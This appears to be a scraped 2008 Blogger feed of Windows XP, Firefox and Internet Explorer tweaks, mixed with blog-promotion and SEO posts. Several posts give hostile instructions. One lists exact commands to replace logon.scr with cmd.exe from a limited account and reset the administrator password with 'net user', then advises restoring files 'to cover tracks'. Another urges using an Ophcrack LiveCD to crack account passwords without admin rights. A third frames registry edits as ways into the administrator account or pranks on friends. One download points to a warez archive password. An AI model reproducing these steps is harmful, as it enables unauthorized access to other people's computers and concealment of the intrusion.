Changing Drive Letters
If you want to change the letters assigned to your fixed or removable drives:
Right Click on My Computer
Select Manage
Select Disk Management
For a Fixed Disk:
Select it
Right click
Select Change Drive Letter and Path
Click on the Edit button
Enter in the letter you want to use
For a Removable Disk:
In the lower, right hand panel, right click on the Disk or CD ROM #
Select Change Drive Letter and Path
Click on the Edit button
Enter in the letter you want to use

Changing the Registered Owner
Start Regedit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
From there you can edit the name in the Registered Owner key

Decreasing Boot Time
Microsoft has made available a program to analyze and decrease the time it takes to boot to WindowsXP
The program is called BootVis
Uncompress the file.
Run BOOTVIS.EXE
For a starting point, run Trace / Next Boot + Driver Delays
This will reboot your computer and provide a benchmark
After the reboot, BootVis will take a minute or two to show graphs of your system startup.
Note how much time it takes for your system to load (click on the red vertical line)
Then run Trace / Optimize System
Re-Run the Next Boot + Drive Delays
Note how much the time has decreased
Mine went from approximately 39 to 30 seconds. Go to top

Hide/Unhide Logon Names
If you want to hide or unhide the names of users that are displayed on the initial logon screen:
Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList
Add a DWORD with the name of the user account you want to hide
Make sure it has a value of 0
If there is an existing account, you can unhide it by giving it a value of 1

WindowsXP Command Line Utilities
While there are a lot of command line utilities in WindowsXP, here are some that I have been using lately.
bootcfg - Configures, queries, or changes Boot.ini file settings.
driverquery - Displays a list of all installed device drivers and their properties.
getmac - Returns the media access control (MAC) address and list of network protocols associated with each address for all network cards in each computer
gpresult - Displays Group Policy settings and Resultant Set of Policy (RSOP) for a user or a computer
netsh - You can use commands in the Netsh Interface IP context to configure the TCP/IP protocol
schtasks - Schedules commands and programs to run periodically or at a specific time
systeminfo - Displays detailed configuration information about a computer and its operating system

Creating an Automated Install of WindowsXP
On the WindowsXP CP, in the SUPPORT\TOOLS directory,
there is a file called DEPLOY.CAB.
Extract the programs DEPLOY.CHM (help file) and SETUPMGR.EXE (main program)
Run SETUPMGR and answer the prompts.
This will create both a unattend.bat and unattend.txt file you can use for automated installs.
Note: The batch file might need some minor modification for file locations but it is fairly basic.

Disabling Hibernation
If you don't want to use up the disk space taken by Hibernation, or don't need to use it at all,
you can easily disable it.
Open up the Control Panel / Power Options icon
Click on the Hibernation icon
Uncheck Enable Hibernation Go to top

Increasing System Performance
If you have 512 megs or more of memory, you can increase system performance
by having the core system kept in memory.
Start Regedit
Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\DisablePagingExecutive
Set the value to be 1
Reboot the computer

Common Command Console Utilities
WindowsXP comes with quite a few console utilities you can easily run from the command line:
Computer Management - compmgmt.msc
Disk Managment - diskmgmt.msc
Device Manager - devmgmt.msc
Disk Defrag - dfrg.msc
Event Viewer - eventvwr.msc
Shared Folders - fsmgmt.msc
Group Policies - gpedit.msc
Local Users and Groups - lusrmgr.msc
Performance Monitor - perfmon.msc
Resultant Set of Policies - rsop.msc
Local Security Settings - secpol.msc
Services - services.msc
Component Services - comexp.msc

Automatically Ending Non-Responsive Tasks
Start Regedit
Go to HKEY_CURRENT_USER\Control Panel\Desktop\AutoEndTasks
Set the value to be 1
In the same section, change the WaitToKillAppTimeout to the number of milliseconds you want.

Changing the Internet Explorer Title
Start Regedit
Go to HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title
Enter what you want appear in the title bar

Changing Programs That Start Automatically
WindowsXP has a similar program, MSCONFIG, that was available in Windows98.
This allows you to view and change what programs are automatically started each time you log in.
The new version also allows you to view and edit the boot.ini file (as well as check for errors and use several advanced switches)

Submit and Ping Your Blogs Automatically

noreply@blogger.com (Ridwan Harris) — Fri, 17 Oct 2008 00:19:51 PDT

Want to submit and ping your blogs automatically? K.Soft Blog Blaster allow you to do it to over 30+ Blog Search Engines. Blog Blaster is an automated tool to ping and submit your blogs to over 30+ blog search engines with just one click. It is a software solution for bloggers that run Windows 95/98/ME/NT/2000/XP.

"Ping" is the term used to submit a blog to a blog search engine. When you ping a blog, you are telling the search engine that you have updated your content and that your listing should be refreshed in the search results. Pinging your blogs to the search engines is the fastest way to get the search engine robots to visit your blog and gain increased traffic in a short amount of time.

Highlights:

1.Ping your Blog to 30+ Directories
2.Submit your blogs to 30+ blog search engines with just one click.
3.Customize the List of Sites to Ping
4.Add your own blog directories to create a custom list of ping sites.
5.Import Blog URLs
6.Importing your blog URLs from a text file makes setup a breeze.
7.View Submission Results
8.Real submission results are displayed after all pings have completed.
9.Supports Windows 95/98/ME/NT/2000/XP/Vista
10.Desktop software lets you ping right from your own PC.
11.Add your blog URLs to the software and click Ping All to automatically submit them to the blog search engines with just one click.
12.View the blog submit result pages to know for sure that your blogs were accepted. Then check your blog web statistics to see the blog robots visiting your site within minutes!
13.Customize the list of sites to ping by removing or adding your own.

The following blog search engines are supported by default:

a.Weblogs NewsGator
b.Feed Burner
c.Pingomatic
d.Blo.gs
e.BlogRolling
f.Technorati
g.Feedster
h.Blogdigger
i.Moreover
j.Syndic8
k.My Yahoo!
l.Weblogalot
m.PubSub
n.BlogStreet
o.1470.net
p.Bitacoles
q.Bitacoras
r.Blogdb
s.Blogoon
t.Blog Shares
u.Blog Snow
v.Blog.goo
w.Laster
x.Memory
y.Ping.Blo.gs
z.Bloggers.jp
aa.Blogmura.jp
bb.Cocolog-Nifty
cc.Exblog
dd.My Blog
ee.Pingomatic
ff.Topic Exchange
gg.Weblogues
hh.Blogg.de
Add Your Own!

You no longer need to rely on a single ping site or web-based ping service to submit your blogs. You can now ping your blogs directly from your very own PC. Whether you only have 1 blog or 100 blogs, you can now ping them all with one click.

Use the Import button to read a list of blog URLs from a text file and instantly add them into the software. Blog Blaster will automatically fetch your blog title for each entry so that setup is a breeze.

You can download this blog tool at Here.
PassWord If Ask:www.softarchive.net

Tweak Firefox for Super Fast Web Browsing

noreply@blogger.com (Ridwan Harris) — Wed, 15 Oct 2008 19:21:14 PDT

Fast loading web pages while surfing the Internet may have more to do with your web browser settings and preferences than your Internet connection speed.

Try these easy Firefox tweaks and you’ll see that you’re surfing the Internet from 3 to 30 times faster!

* To get started, open your Firefox web browser. In the address/location bar type about:config and then press your Enter key.

* In the Filter bar type network.http.pipelining. Then, double-click on this line under Preference Name in order to change the value from False to True.

* n the Filter bar type network.http.pipelining.maxrequests. Then, double-click on this line under Preference Name and change the value from 4 to a higher number anywhere from 10 to 30. I set mine to 30.

* In the Filter bar type network.http.proxy.pipelining. Then, double-click on this line under Preference Name in order to change the value from False to True.

* In the Filter bar type network.dns.disableIPv6. Then, double-click on this line under Preference Name in order to change the value from False to True.

* In the Filter bar type plugin.expose_full_path. Then, double-click on this line under Preference Name in order to change the value from False to True.

* In the Filter bar type network.protocol-handler.external.ms-help. Now, you are going to create a new Preference Name with an Integer Value. To do this, right-click on this line under Preference Name and select New, then Integer. In the New Integer value box type in nglayout.initialpaint.delay and click OK. Then in the Enter Integer value box type 0 (that’s a zero) and click OK.

* In the Filter bar again type network.protocol-handler.external.ms-help. Now, you are going to create another new Preference Name with an Integer Value. To do this, right-click on this line under Preference Name and select New, then Integer. In the New Integer value box type in content.notify.backoffcount and click OK. Then in the Enter Integer value box type 5 and click OK.

* In the Filter bar again type network.protocol-handler.external.ms-help. Now, you are going to create another new Preference Name with an Integer Value. To do this, right-click on this line under Preference Name and select New, then Integer. In the New Integer value box type in ui.submenuDelay and click OK. Then in the Enter Integer value box type 0 (that’s a zero) and click OK.

Now, close your web browser and restart it. You’ll see how much faster web pages are loading. I sure did.

Make Internet Explorer 7 Faster

noreply@blogger.com (Ridwan Harris) — Wed, 15 Oct 2008 00:18:30 PDT

Internet Explorer has been in a features arms race with Firefox for a while. More and more people are switching to Firefox because of its speed and stability. A big reason people still use Internet Explorer is it is the first browser that a new user will see so they become familiar with it.. If Internet Explorer did not ship with Windows it would not have the amount of users it does.

If that new user wants to use Internet Explorer but wants to give their browsing a speed boost. Here are a few tips.

If you Don't Need a Proxy Don't Use One.

A proxy server is used if you have a slow connection. If you have a high speed connection you usually don't need it. Here is how you remove it. Go to tools and select Internet Options. In the Internet Options click on the Connections tab and press the LAN settings. Just remove all of the check marks, click on OK.

Get Rid of 3rd Party Toolbars

Some software companies have learned that there is money to be made by installing their software branded toolbar. The problem with these toolbars is when installed they take up bandwidth and computer resources while you browse the internet. To remove the toolbars you don't need, just identify the toolbar and remove it for add/remove programs. If it is not listed in add/remove programs it may be spyware. You will then need to scan your computer with your favorite spyware/malware software.

Increase the Amount of Connections Internet Explorer uses.

By default Internet Explorer only uses 10 simultaneous connections to download content from a webpage. Here is how you can increase the amount of connections. Open notepad and paste the code below in it.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings]

"MaxConnectionsPerServer"=dword:00000020

"MaxConnectionsPer1_0Server"=dword:0000020

Save the file by clicking save as, change Save as type to All Files, name the file IEfaster.reg.
Now, merge that registry setting to registry by double clicking file IEfaster.reg and Click Yes on the dialog that appear. Restart your computer and done.

So there you have it. With these few changes you can really change the performance of Internet Explorer. If you want a completely better experience give Firefox a try. You won't be disappointed.

Tips Modify Your CD ROM to Watch DVD Movies

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:05:41 PDT

There are two types of CD-ROM drives we can mod:
24x to 40x
40x or higher
Drives slower than 24x are too old to be modded.
24x to 40x CD ROMs

Laser Head Adjustments:

The track pitch of CDs is 1.6 microns, and the track pitch of DVDs is only
0.8 microns. The minimum length of track pits of CDs is 0.843mm, and
the minimum length of track pits of DVDs is 0.293mm. That's why DVD
discs can store much more data in the size of a CD.

Pinpointing this situation, we need to adjust the laser head so it can read discs with smaller track pitchs and shorter track pits. Open up the CD-ROM drive,
do you see a lens on the rail? That's the laser head. On the side of
the laser head, there's a screw you can adjust.This is the key of this
mod.This screw can adjust the size of the laser beam that lands on the
disc.

Referring to the above, after adjusting, the laser beam should be
less than 0.293mm, to suit the needs of DVD discs. So turn that screw
2-3 times. I got this number through trial and error. Mark with a
pencil, in case you forget how many times you turned that screw.

Speed adjustments:

DVD-ROM
drives can play DVD movies smoothly at 4x speed. If we're modding a 32x
CD-ROM drive, the rotation speed is obviously too high, increasing
heat, and shortening the life of the drive.
So we need to decrease the speed of it.
Most
people know that power supplies can provide 5V (red wire) and 12V
(yellow wire) electricity output for Molex connectors. Find the Molex
connector you'll plug into the modded CD-ROM drive, cut the yellow wire
or insulate it with tape, so only 5V of electricity is transferred to
the CD-ROM drive. The speed of the drive is now 32 * 5/17 = 9.41x and
can now fulfill our requirements.

40x or higher CD ROMs
When
40x CD-ROM drives are released, most manufacturers are already
producing DVD-ROM drives. To lower cost, they use the same core as
DVD-ROM drives with DVD functions disabled. What we need to do here is
to re-enable the DVD function.
Open up the CD-ROM, behind the
circuit board, look for a jumper that says DVD JUMP. Find a jumper to
connect this jumper. Thin metal wire also works fine.
OK, so the DVD
function is unlocked, but we still need to decrease the speed. Use the
instructions above on how to decrase the speed of the drive.

Notes:

Modded
drives cannot be detected in POST, that means you cannot use it in DOS.
But once you get into Windows, the drive works fine.
Modded drives have no region code problems.
Modded drives MIGHT NOT read DVD9 discs, that's why I said you can watch most retail DVDs in the beginning.

BitTorrent - A Better Peer to Peer Network

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:05:41 PDT

by Drew Dunn

In the post-Napster era, the whole concept of peer-to-peer files sharing seems to be one of how to keep one step ahead of the Recording Industry Association of America and the Motion Picture Association of America. Mention file sharing and one of the first things that you probably think of is music sharing…what the RIAA would call stealing.

It’s definitely true that lots of music flows through the descendants of Napster, but I’m not going to focus on the dubious legality and ethics of listening to music that wasn’t bought. You can have your own moral battles over what is right and what is wrong.

Peer-to-peer file sharing has basically followed the same premise since it was introduced. Some master server (or servers) keeps track of who is on the network and offering what files. The peers (that’s you!) connect to each other directly, without the aid of a server. Some schemes distribute the network tracking responsibilities amongst the peers. But basically, they all work the same: one peer connects to another and a point-to-point transfer takes place.

The inherent problem with all of this is that each peer has a finite amount of bandwidth. That means that if a bunch of people want to connect to a single peer that is sharing out their copy of OpenOffice (an office productivity suite offered under the GPL), at some point, that peer is going to become saturated with requests.

A rather talented guy, Bram Cohen, came up with a rather interesting idea: given that almost all Internet connections are asymmetric (uploading and downloading are independent of each other), why not develop a peer-to-peer system that distributes the load? The result is BitTorrent.

BitTorrent works similarly to other peer-to-peer networks in that files can be shared on any system and downloaded by any other, but once a peer starts downloading that file, it also makes whatever portion of the file that is downloaded immediately available for sharing. In other words, as soon as you start downloading the latest version of RedHat Linux, once that first chunk hits your hard drive, you automatically make it available for sharing to others. That way, no single computer system is responsible for sharing out any individual file…files are distributed across all of the computers at once.

The inner workings are pretty simple. When a peer connects to download the file, a “dummy” file is created on the hard drive, identical in size to whatever is being downloaded. Then the client software goes into action. Since a full-size file already exists, downloading the real file is more like assembling a jigsaw puzzle. BitTorrent looks out over the network of computers downloading the software and grabs bits and pieces of the file and puts them in the correct places in the dummy file. It doesn’t matter if the first chunk that it downloads is at the beginning, the middle or the end. And as soon as something is downloaded, that piece of data is ready to be sent out to another peer as part of their download.

The big question, of course, is whether or not it works. I think that it does. On March 31, Slashdot announced that the RedHat Linux ISOs were available via BitTorrent. Over the course of the next four hours, roughly 1.5TB (1,500 GB) of data were transferred, roughly 170MB/s.

The software is available for Windows, OSX, Debian Linux and as source for any operating system. The Windows version integrates automatically with Internet Explorer, recognizing the .torrent extension and launching automatically.

I tested BitTorrent on two networks, one at my office, which is connected to the Internet via multiple OC-12 lines and one at home, connected with a 640Kb/s DSL line.

At the office, I downloaded the complete source code ISO images for RedHat 9.0 at an average incoming rate of about 1,100KB/s, while sending out the same data at about 50KB/s.

At home, I downloaded the same files at about 50KB/s, sending at 24KB/s.

It seems that BitTorrent provides solutions to two big problems of peer-to-peer networks: a way to maximize bandwidth for delivery of a specific file and a way to control “leeching”, or the practice of downloading a file without providing a corresponding upload. BitTorrent’s solution to those problems are both simple and elegant. It definitely works!

BitTorrent: http://www.bitconjurer.org/BitTorrent/
Slashdot: http://www.slashdot.org

Make your Folders Private

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:05:41 PDT

•Open My Computer
•Double-click the drive where Windows is installed (usually drive (C:), unless you have more than one drive on your computer).
•If the contents of the drive are hidden, under System Tasks, click Show the contents of this drive.
•Double-click the Documents and Settings folder.
•Double-click your user folder.
•Right-click any folder in your user profile, and then click Properties.
•On the Sharing tab, select the Make this folder private so that only I have access to it check box.

Note

•To open My Computer, click Start, and then click My Computer.
•This option is only available for folders included in your user profile. Folders in your user profile include My Documents and its subfolders, Desktop, Start Menu, Cookies, and Favorites. If you do not make these folders private, they are available to everyone who uses your computer.
•When you make a folder private, all of its subfolders are private as well. For example, when you make My Documents private, you also make My Music and My Pictures private. When you share a folder, you also share all of its subfolders unless you make them private.
•You cannot make your folders private if your drive is not formatted as NTFS For information about converting your drive to NTFS

Tips Broadband Speed Test

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:05:41 PDT

If you already have an Internet connection, you probably connect to the Internet with a modem that plugs into your telephone line (often referred to as a "dial-up connection"). If you're setting up an Internet connection for the first time, it really makes sense to go for Broadband right from the start, as the entry-level packages are generally much better value than the dial-up alternative. Once you've looked into the options and know which types of broadband Internet are available in your area, the next step is to choose the best deal. The biggest factor to consider when you choose a deal is speed. How fast is the connection? And is it fast enough to do all the things you would like to be able to do?

Broadband speed is measured by the amount of data your connection can send and receive in Kilobytes per second (Kbps) or Megabytes per second (Mbps). You can check it with broadband speed test. You will know how fast is your internet connecttion. The speed check will work for any type of connection including ADSL, cable/fibre optic and by the 3G mobile network (mobile broadband). Make sure that you have closed any other applications using the internet (for example email, instant messenger, and so on). Your broadband speed can vary wildly at different times of the day depending on external factors, such as the number of users online in your building, your street and even your country

Google Chrome for Windows

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:05:41 PDT

Windows Vista and XP users now can experience the new open source web browser offered by Google by the name of Google Chrome. The scanned-comic introducing the enticing application can be read at this link

Here are several features of the web browser:

1. Browser window that is streamlined and simple
2. Clean interface and fast
3. Based on a foundation that runs today’s complex web application much better.
4. Eac tab is kept in isolated “sandbox”, so one tab can be prevented from crashing another and this provide improved protection from rogue sites.
5. Improved speed and responsiveness across the broad.
6. A more powerful JavaScript engine to power the next gen web applications that aren’t possible in today’s web browser
7. Can import data from your previous internet browser: e.g. Mozilla Firefox.
8. Security such as prevention from phishing and malware which utilizes free public API called Google Safe Browsing API.

The add-ons or extensions to enrich Google Chrome’s functionalities are not available yet as expected when it’s still a beta release.

Nevertheless, you can test the web browser by downloading from its respective download page

How To Crack Windows Account Password

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:05:41 PDT

Ophcrack is a Windows password cracker based on rainbow tables. It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a GTK+ Graphical User Interface and runs on Windows, Mac OS X (Intel CPU) as well as on linux

Ophcrack Features:

* » Runs on Windows, Linux and Mac OS X (intel).

* » Cracks LM and NTLM hashes.

* » Free tables available for alphanumeric LM hashes.

* » Loads hashes from local SAM, remote SAM.

* » Loads hashes from encrypted SAM recovered from a Windows partition.

There is another ophcrack version called LiveCD. The liveCD cracks passwords automatically, no installation necessary, no admin password necessary (as long as you can boot from cd). I’d recommend you to use LiveCD to crack Windows password so you don’t need to install anything or require any admin login.

How to run Ophcrack LiveCD?

1. Download Ophcrack LiveCD from the link below.

2. Burn the .ISO file on a CD

3. Boot the computer from CD

4. Follow the instruction on screen

That’s all! It’s that easy to crack a Windows account’s password and gain access to it. Let me advice you that it’s wrong to illegally gain access to a system without permission. If you’re caught doing that, you can end up in jail.

Registry Hacking

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:05:41 PDT

Display legal notice on startup:
Wanna tell your friends about the do's and dont's in your computer when they login in your absence. Well you can do it pretty easily by displaying a legal notice at system start up.
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

Automatic Administrator Login:
Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.
REGEDIT 4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

No Shutdown:
Wanna play with your friends by removing the shutdown option from start menu in their computer.
Just hack it down !!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Menu Delays:
Another minor and easy tweak to remove any delay from menus sliding out. For this you will need to use regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0. Remember, you will have to re-boot your computer for this tweak to take effect.

How to hack windows XP admin password

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:05:41 PDT

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:

cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

"net user password"

If the Administrator Account is called Frank and you want the password blah enter this

"net user Someone blah"

and this changes the password on franks machine to blah and your in.

Have fun

p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Hack with Atory Password Generator

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:05:41 PDT

Atory Password Generator is the tool for random password generation.

Atory Password Generator prepare random words of required type and allow to copy them to Window clipboard.

Atory Password Generator allows you to create random passwords that are highly secure and extremely difficult to hack or guess due to an optional combination of lower and upper case letters, numbers and punctuation symbols.

This application is used by power users, network administrators, internet service providers to create passwords.

Features

1.Configurable password length parameters.
2.Configurable amount of generated passwords.
3.Configurable list of charasters required for password.
4.Generate mixed-case, lowercase and uppercase alphanumeric passwords.
5.Generate password with or without special characters.
6.Copy generated passwords to windows clipboard.

For next info visit Atory website or Click here or if you want to Download Tools click here

How to hack into Blogger

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:08:44 PDT

Online weblog publishing service Blogger has introduced its customers to the art of hacking so they can customise their templates.

Blogger, the service owned by Google, was given a revamp in May to make it easier for both users and weblog visitors to share their views online.

Yesterday Blogger employee Graham Waldon explained how simple Blogger "hacks" can give you more control over your blog's appearance or settings. For example, you might want to put your list of archive entries into a drop-down menu, stick in a bit of JavaScript to change the order of your entry links or tweak the look of your template with HTML.

"Take the red pill, Neo, and I'll show you how deep the rabbit role goes," said Graham in the article published on Blogger Knowledge. "Not evil, breach-of-security type hacks, of course... Hacks for the good guys."

If you're prepared to experiment, check out the Blogger Knowledge database at www.blogger.com/knowledge. Graham wisely advises potential hackers to save a copy of their original template files first.

To see what's possible, take a look at http://sacrificezone.blogspot.com

Change blog background color

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:08:44 PDT

This blog uses Ramani's 3 column Minima template and the background color of the blog is white. To change the blog background, go to LAYOUT, click Edit HTML, look for the outer-wrapper portion of the stylesheet of the template. Add the line

background: chosen color;

For example, in an extract of the template below, a line (in red) has been added:

background: green;

/* Outer-Wrapper
------------------------------------------------ */
#outer-wrapper {
width: 750px;
margin:0 auto;
padding:10px;
text-align:left;
font: $bodyfont;
background: green;
}

Firefox Download - Firefox Tips

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:05:41 PDT

Mozilla Firefox is an award-winning Web browser offering a much superior Web browsing experience with benefits such as faster browsing, real privacy and security, and smarter searching. Firefox is free, simple to switch to, and extremely easy to use. The Firefox Download Web site will always provide you with the latest version download of the Mozilla Firefox as well as the most helpful information on how to get the most out of your new browser. There is not a better decision you can make for your Web browsing speed, security, and enjoyment than downloading and installing Mozilla Firefox now.

Firefox is absolutely and completely free. Firefox is supported and developed by the Mozilla project, which is sponsored by and overseen by the non-profit Mozilla Foundation. The Mozilla project is comprised of a global group of passionate contributors dedicated to making the Internet a better place. With Firefox offering so many advantages yet being completely free, it simply does not make sense not to make the switch.

Once you have downloaded Firefox and experienced how much better it is for yourself, please help us in our effort to improve the Web by telling others about Firefox Download and linking to our site. We will continue to provide you with the latest version Mozilla Firefox Download, tips, and links. Your support is much appreciated.

Mozilla Firefox is a very powerful and fully customizable Web browser. Other Web browsers, such as Internet Explorer or Netscape, simply do not provide you with the amount of control that Firefox does. The goal of this section is to provide you with the most helpful Firefox tips in order to allow you to configure Firefox in a way that works best for you.

1. Disable Smart Location Bar (Awesome Bar) in Firefox 3
2. Mozilla Firefox 3 Release Candidate 2 (RC2) Now Available
3. Import Into Firefox
4. About:Config
5. Firefox Broadband Speed Tweaks
6. Disable Tab Scrolling
7. Disable Automatic Image Resizing
8. Close Tab Shortcut
9. Undo Close Tab
10. Close Tab Button Options

Why You Shouldn’t Sweat on PageRank Drop

noreply@blogger.com (Ridwan Harris) — Mon, 13 Oct 2008 06:05:41 PDT

After the recent pagerank (PR) shake up by Google, there is one question remain? Oh, maybe two. The first one would probably want to know who are affected and who survived. Now, the only question remain is whether if one should remove all paid links and stop posting for pay-per-post entry.

Google not only punish publisher who sell links by dropping their PR but sometimes reduce your site’s ranking on Google’s search engine result. Thus, making it more difficult for people to discover your blog. The worst could ever happen is they remove your site from their search engine result, totally. Don’t believe me? Try googling "John Chow" (JohnChow.com, the popular blogger who writes about making money online). You won’t find it there, at least not in the first page. (After more clicking, and onto the 5th page, no sign of JohnChow.com). Even John Cow (a parody of JohnChow.com) is on the first page. Holy cow!

So, some decided to remove paid links after their PR dropped, however, other just being obnoxious and can’t be bothered about it at all.

Here is my top reasons why you shouldn’t be afraid of Big G (read: Google). The list is not in order.

You have a large reader’s base.
If your blog is well known and established, and have loyal readers who keep coming back to your site on regular basis, a drop in PR won’t hurt that much. They enjoy your writing and your posts, and not one time visitors.
Only minority of your traffic come from Google search engine.
In relation to point (1), if most of your traffic are direct traffic or from referring sites, then Google search engine is really just a web directory and not a major traffic generator for your site. For eg. John Chow is not listed in Google search engine but he still makes lots of money anyway.
You have PR less than 4 (before latest Google updates).
Seriously, when you are on PR0 (PR N/A) to PR3, it only means one thing. You have whole lot of things to do to improve your traffic and readership. You should be reading more SEO tips. I don’t think Google would care to penalize you. After all, who wants to pay for a PR0 link? By the way, my site has a PR3 only.
Your main income stream is not from Google Adsense.
If you earn more by selling links and paid per post than Google Adsense, why ditch them?
Your other ads DO NOT take your PR to gauge your site popularity.
Some other ads like TLA do take your Google PR into consideration before rating your site popularity. That means, they pay you more if you have higher PR. Then again, Google penalizes you for having paid links, so decide which side you want to take!
PR = EGO
For some people, PR is just a number to boost your ego and compare with other bloggers. It’s a like race to see who has higher PR.
Google Adsense was sooo yesterday.
Heard of Yahoo!Publisher? What about WidgetBucks, AdBrites, Kontera, private ads and many other Google Adsense alternatives? Diversify your income sources.
You don’t blog for money.
Unless your last updated site was in 1993 and you never heard of Wordpress, I think most of the bloggers out there blog for money. However there is also a number of people who blogs for fun, not for making money. Moreover, nowadays, it is a norm for companies to blog or engage bloggers to market or create awareness of their products in the Net. Hence, their main purpose is not getting high PR but doing PR (public relations).
What’s a Google PR?
Guess you have just wasted your precious time reading the last 8 reasons. Oh, by the way, click here to read on Google PR.